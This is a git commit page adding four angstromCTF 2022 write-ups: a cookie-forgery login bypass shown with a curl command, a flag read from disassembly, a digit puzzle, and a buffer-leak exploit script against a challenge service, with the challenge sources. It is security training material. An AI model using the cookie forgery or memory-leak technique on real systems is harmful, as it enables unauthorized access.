diff options
| author | Malfurious <m@lfurio.us> | 2022-08-21 14:36:00 -0400 | 
|---|---|---|
| committer | Malfurious <m@lfurio.us> | 2022-08-21 14:36:00 -0400 | 
| commit | 94efc98b3d75d5520189c2d105541cd09aa3cff7 (patch) | |
| tree | c38042edc85560f9b807d9c58113eea40cda4adf /docs/writeups | |
| parent | 83a7e196cfcefee11e9bed6542b2dd5954b3d055 (diff) | |
| parent | 8456a85a083c7cbc957e6a9176c0c7a608b63283 (diff) | |
| download | lib-des-gnux-94efc98b3d75d5520189c2d105541cd09aa3cff7.tar.gz lib-des-gnux-94efc98b3d75d5520189c2d105541cd09aa3cff7.zip | |
Merge branch 'malf-angstrom-2022'
* malf-angstrom-2022:
  Writeup angstromCTF 2022 / whatsmyname
  Writeup angstromCTF 2022 / uninspired
  Writeup angstromCTF 2022 / baby3
  Writeup angstromCTF 2022 / Auth Skip
  angstromCTF 2022 results
Diffstat (limited to 'docs/writeups')
| -rw-r--r-- | docs/writeups/angstromCTF_2022/Auth_Skip.txt | 61 | ||||
| -rw-r--r-- | docs/writeups/angstromCTF_2022/baby3.txt | 43 | ||||
| -rw-r--r-- | docs/writeups/angstromCTF_2022/uninspired.txt | 150 | ||||
| -rw-r--r-- | docs/writeups/angstromCTF_2022/whatsmyname.txt | 115 | 
4 files changed, 369 insertions, 0 deletions
| diff --git a/docs/writeups/angstromCTF_2022/Auth_Skip.txt b/docs/writeups/angstromCTF_2022/Auth_Skip.txt new file mode 100644 index 0000000..a5a4767 --- /dev/null +++ b/docs/writeups/angstromCTF_2022/Auth_Skip.txt @@ -0,0 +1,61 @@ +Clam was doing his angstromCTF flag% speedrun when he ran into the infamous +timesink known in the speedrunning community as "auth".  Can you pull off the +legendary auth skip and get the flag? + +Category:       web (40 points) +Chall author:   aplet123 +Writeup author: malfurious + + + +The website starts on a login page prompting for a username and password, with +the text "Want flag?  Been far?  Decided to use?  Login first." + +As seen in the source code (see below), login supports the username "admin" +whose password is compared to a string that is randomly generated on each +request.  However, all that is required to view the flag is to navigate to the +home page with a basic cookie "user=admin", which can be set locally in the +browser or via a curl command. + +> curl -b user=admin https://auth-skip.web.actf.co/ +actf{passwordless_authentication_is_the_new_hip_thing} + + + +Original source (Javascript): index.js +-------------------------------------- +const express = require("express"); +const path = require("path"); +const cookieParser = require("cookie-parser"); + +const app = express(); +const port = Number(process.env.PORT) || 8080; + +const flag = process.env.FLAG || "actf{placeholder_flag}"; + +app.use(express.urlencoded({ extended: false })); +app.use(cookieParser()); + +app.post("/login", (req, res) => { +    if ( +        req.body.username !== "admin" || +        req.body.password !== Math.random().toString() +    ) { +        res.status(401).type("text/plain").send("incorrect login"); +    } else { +        res.cookie("user", "admin"); +        res.redirect("/"); +    } +}); + +app.get("/", (req, res) => { +    if (req.cookies.user === "admin") { +        res.type("text/plain").send(flag); +    } else { +        res.sendFile(path.join(__dirname, "index.html")); +    } +}); + +app.listen(port, () => { +    console.log(`Server listening on port ${port}.`); +}); diff --git a/docs/writeups/angstromCTF_2022/baby3.txt b/docs/writeups/angstromCTF_2022/baby3.txt new file mode 100644 index 0000000..2c1d3a7 --- /dev/null +++ b/docs/writeups/angstromCTF_2022/baby3.txt @@ -0,0 +1,43 @@ +This program doesn't do anything. + +Category:       re (40 points) +Chall author:   preterite +Writeup author: malfurious + + + +As described, this challenge offers an ELF binary that has no observable effect +when run.  However, disassembly of its main function shows the flag string +being constructed in memory via several mov instructions.  Of course, the flag +is not read before returning. + +     0x00001139      55             push rbp +     0x0000113a      4889e5         mov rbp, rsp +     0x0000113d      4883ec40       sub rsp, 0x40 +     0x00001141      64488b042528.  mov rax, qword fs:[0x28] +     0x0000114a      488945f8       mov qword [canary], rax +     0x0000114e      31c0           xor eax, eax +     0x00001150      48b861637466.  movabs rax, 0x686d657b66746361 ; 'actf{emh' +     0x0000115a      48ba70616964.  movabs rdx, 0x657a656d64696170 ; 'paidmeze' +     0x00001164      488945c0       mov qword [var_40h], rax +     0x00001168      488955c8       mov qword [var_38h], rdx +     0x0000116c      48b8726f646f.  movabs rax, 0x72616c6c6f646f72 ; 'rodollar' +     0x00001176      48ba73746f6d.  movabs rdx, 0x74656b616d6f7473 ; 'stomaket' +     0x00001180      488945d0       mov qword [var_30h], rax +     0x00001184      488955d8       mov qword [var_28h], rdx +     0x00001188      48b868697363.  movabs rax, 0x6c6c616863736968 ; 'hischall' +     0x00001192      48ba656e6765.  movabs rdx, 0x6f6d615f65676e65 ; 'enge_amo' +     0x0000119c      488945e0       mov qword [var_20h], rax +     0x000011a0      488955e8       mov qword [var_18h], rdx +     0x000011a4      c745f0677573.  mov dword [var_10h], 0x7d737567 ; 'gus}' +     0x000011ab      c645f400       mov byte [var_ch], 0 +     0x000011af      b800000000     mov eax, 0 +     0x000011b4      488b55f8       mov rdx, qword [canary] +     0x000011b8      64482b142528.  sub rdx, qword fs:[0x28] + ┌─< 0x000011c1      7405           je 0x11c8 + │   0x000011c3      e868feffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) + │   ; CODE XREF from main @ 0x11c1 + └─> 0x000011c8      c9             leave +     0x000011c9      c3             ret + +actf{emhpaidmezerodollarstomakethischallenge_amogus} diff --git a/docs/writeups/angstromCTF_2022/uninspired.txt b/docs/writeups/angstromCTF_2022/uninspired.txt new file mode 100644 index 0000000..cc1d6c6 --- /dev/null +++ b/docs/writeups/angstromCTF_2022/uninspired.txt @@ -0,0 +1,150 @@ +clam has no more inspiration :( maybe help him get some? + +Category:       re (100 points) +Chall author:   aplet123 +Writeup author: malfurious + + + +Software RE +----------- +We are given an executable ELF binary, and RE reveals two functions of interest: +main and print_flag. + +The main function will read a line of text from input and make various +assertions about it, exiting if any fail.  Eventually, on success, the user +supplied string is passed to the print_flag function.  print_flag uses the data +to derive the flag string, then prints it of course. + +I didn't bother reversing the print_flag function, as main gives us a seemingly +simple puzzle to solve in order to satify its requirements.  Those requirements +being: + +    - Input must be 10 characters +    - Each character must be numeric ('0' - '9') +    - The value of each character (digit) will increment a corresponding index +      in an array ("count array") +    - The final count array values must match the original input in sequence + +Therefore, we must supply a 10-digit number where each positional digit +(starting from the left) is equal to the quantity of that positional value in +the number overall.  For example, consider this potential answer: + +    9 0 0 0 0 0 0 0 0 0 +    ^                 ^ +    zero position     nine position + +The value of 9 in the zero position indicates that there must be a total of 9 +zeroes in the overall value, which there are.  However, this is not a correct +anwser, as there is a zero in the nine position while the actual number of nines +is 1 (the one in the zero position). + + + +Numeric puzzle +-------------- +Let's try to fixup the previous example to arrive at the correct solution.  If +we correct the nines position, there is now one fewer zeros, which would need +its own correction, but there are other cascading issues as well. + +    9 0 0 0 0 0 0 0 0 1     # wrong number of zeroes and ones +    8 0 0 0 0 0 0 0 0 1     # wrong number of eights, nines, ones +    8 1 0 0 0 0 0 0 1 0     # wrong number of zeroes and ones +    ... + +Not 100% confident that there even was a solution, the team decided to try to +rule out sets of potential solutions by reasoning our way to a contradiction +from some given starting point (as you can see above, for the example of +zero->nine). + +We decided to start by varying the value of zero, starting with zero set to +nine.  The reason for this being that maximizing the number of zeroes in the +number should in theory minimize the additional values we need to fit in the +remaining digits.  If the nines position has a value of 1, for example, then +that would imply that there must be nine of some other value elsewhere in the +answer.  Furthermore, a two in the nines position is impossible, since there +aren't enough places to satify the requirements imposed by two floating nine +digits. + +Using this process, we eliminated all solutions where the zero position is +9, 8, or 7, however converged on a possible solution for zero->six. + +    6 0 0 0 0 0 0 0 0 0     # wrong zeroes, sixes +    6 0 0 0 0 0 1 0 0 0     # wrong zeroes, ones +    6 1 0 0 0 0 1 0 0 0     # wrong zeroes, ones +    6 2 0 0 0 0 1 0 0 0     # wrong zeroes, ones, twos +    6 2 1 0 0 0 1 0 0 0     # all positions correct! + +It is unknown to the team whether there are other correct solutions.  Since +this string is used to derive the flag, it's likely that this is the only one. +However, if the other solutions (if they exist) are somehow congruent under the +logic of the print_flag function, then the puzzle should still hold. + + + +Solution +-------- +> ./uninspired +there's no more inspiration :( +6210001000 +yay I'm inspired now, have a flag :) +actf{ten_digit_numbers_are_very_inspiring} + + + +Decompiled main function (C/Ghidra) +----------------------------------- +undefined8 main(void) +{ +  size_t str_len; +  long idx; +  undefined8 retval; +  char *inp_ptr; +  char user_input [10]; +  char user_input_end [6]; +  int buffer [4]; +  char c; + +  inp_ptr = user_input; +  puts("there\'s no more inspiration :("); +  fgets(user_input,0x10,stdin); +  str_len = strcspn(user_input,"\n"); +                    /* Read user input, fixup newline/null termination +                       Length of string must == 10 */ +  user_input[(int)str_len] = '\0'; +  if ((int)str_len == 10) { +                    /* zero buffer */ +    buffer = (undefined  [16])0x0; +    do { +                    /* foreach char in user_input */ +      c = *inp_ptr; +      if (9 < (byte)(c - 0x30U)) { +                    /* characters must be numeric (0-9) */ +        puts("I don\'t like your inspiration :("); +        return 1; +      } +      inp_ptr = inp_ptr + 1; +                    /* increment the selected position in 'buffer' */ +      buffer[(char)(c - 0x30U)] = buffer[(char)(c - 0x30U)] + 1; +    } while (inp_ptr != user_input_end); +    idx = 0; +    do { +                    /* foreach char in user_input */ +      if (buffer[idx] != user_input[idx] + -0x30) { +                    /* buffer indicies must match input string values */ +        puts("that\'s not good inspiration :("); +        return 1; +      } +      idx = idx + 1; +    } while (idx != 10); +    puts("yay I\'m inspired now, have a flag :)"); +    print_flag(user_input); +    retval = 0; +  } +  else { +                    /* strlen != 10 */ +    puts("that\'s not very inspiring :("); +    retval = 1; +  } +  return retval; +} diff --git a/docs/writeups/angstromCTF_2022/whatsmyname.txt b/docs/writeups/angstromCTF_2022/whatsmyname.txt new file mode 100644 index 0000000..9fc3fd7 --- /dev/null +++ b/docs/writeups/angstromCTF_2022/whatsmyname.txt @@ -0,0 +1,115 @@ +Can you guess my name? + +Category:       pwn (50 points) +Chall author:   JoshDaBosh +Writeup author: malfurious + + + +The problem gives us an ELF binary, it's source code, and a netcat endpoint +hosting the service.   The program asks us for our name, then asks us to guess +it's name, which is initialized to random data gathered from /dev/urandom. + +All character buffers are allocated to 48 bytes in size, and all input functions +properly bound memory to avoid buffer overruns.  However, after we enter our +name, the program prints it back to us with a greeting.  Because the two name +strings are adjacent in memory, with the user's name coming first, we can leak +the random service name by filling the user's name buffer completely to avoid +its NULL terminator. + +Take note that the output is appended with a "!" character.  I missed this +initially, and spent far too long trying to debug the situation. + +Our guess is compared to the real service name with strncmp(name, guess, 48) == 0. + +Our guess is read by the binary with scanf("%48s[^\n]", guess).  The '[^\n]' +portion should cause reading to stop at the first newline.  However, this is +redundant with how %s works anyway.  '%s' stops reading its input at _any_ +whitespace, including: + +    0x20    space +    0x09    horizontal tab +    0x0a    newline +    0x0b    vertical tab +    0x0c    feed +    0x0d    carriage return + +This means that sending the correct guess would be impossible on any run where +these 6 bytes were present in the random data.  On a lucky run (lacking any of +the whitespace chars), sending the leaked data will result in the flag being +printed. + +actf{i_c0uld_be_l0nely_with_y0u_a21f8611c74b} + + + +Solution (Python/sploit) +------------------------ +#!/usr/bin/sploit +from sploit.payload import Payload +from sploit.until import contains +io.logonwrite = True + +pref = b'Nice to meet you, ' +size = 48 + +io.write(Payload().rep(b'A', size)()) + +io.readuntil(contains, pref) +io.read(size) # our name +leak = io.read(size)[:-1] # [-1] to strip the trailing '!' + +io.writeline(leak) + + + +Original source (C): whatsmyname.c +---------------------------------- +#include <stdio.h> +#include <string.h> +#include <stdlib.h> + +static void generate_name(char *str) +{ +    FILE *file = fopen("/dev/urandom","r"); +        fgets(str, 48, file); +        fclose(file); +} + +int main(){ +    char yourName[48]; +    char myName[48]; + +    char guess[48]; + +    setbuf(stdout, NULL); + +    generate_name(myName); + +    printf("Hi! What's your name? "); + +    int n = read(0, yourName, 48); +    if (yourName[n-1] == '\n') yourName[n-1] = '\x00'; + +    printf("Nice to meet you, %s!\n", yourName); + +    puts("Guess my name and you'll get a flag!"); + +    scanf("%48s[^\n]", guess); + +    if (strncmp(myName, guess, 48) == 0){ +        char flag[128]; + +                FILE *file = fopen("flag.txt","r"); +                if (!file) { +                    puts("Error: missing flag.txt."); +                    exit(1); +                } + +                fgets(flag, 128, file); +                puts(flag); +    } + +    puts("Bye!"); +    return 0; +} | 
